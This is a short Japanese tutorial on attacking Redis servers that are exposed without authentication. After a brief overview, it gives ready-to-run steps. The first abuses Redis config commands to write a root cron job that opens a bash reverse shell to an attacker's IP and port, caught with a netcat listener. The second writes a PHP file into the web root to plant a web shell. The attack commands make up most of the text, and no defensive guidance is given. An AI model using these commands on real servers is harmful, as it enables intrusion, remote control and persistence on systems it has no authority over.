1. 脆弱性の概要#
Redis はデフォルトで 0.0.0.0:6379 にバインドされます。関連するポリシー(例:ファイアウォールルールの追加による信頼できないソース IP からのアクセスの回避など)を採用していない場合、Redis サービスはインターネット上に公開されます。パスワード認証が設定されていない場合(通常は空です)、任意のユーザーが対象サーバーにアクセスし、Redis にアンスローズされたアクセスや Redis のデータの読み取りが可能になります。
攻撃者は未授権のアクセスの脆弱性を利用して、Redis の config コマンドを使用して対象サーバーにログインしたり、スケジュールされたタスクを追加したり、Web シェルを書き込んだりすることができます。
以下の操作は、既に Redis の未授権アクセスの脆弱性が存在する前提で行われます。
2. スケジュールされたタスクを利用したシェルのバウンス#
接続ツール:https://github.com/caoxinyu/RedisClient/releases
https://github.com/dmajkic/redis/downloads
脆弱なホストに接続して実行します:
set xx "\n* * * * * bash -i >& /dev/tcp/IPアドレス/ポート 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
ローカルで実行します:
nc -lvnp ポート
3. Redis による Web シェルの書き込み#
config set dir /var/www/html
config set dbfilename test123.php
set webshell "<?php phpinfo(); ?>"
save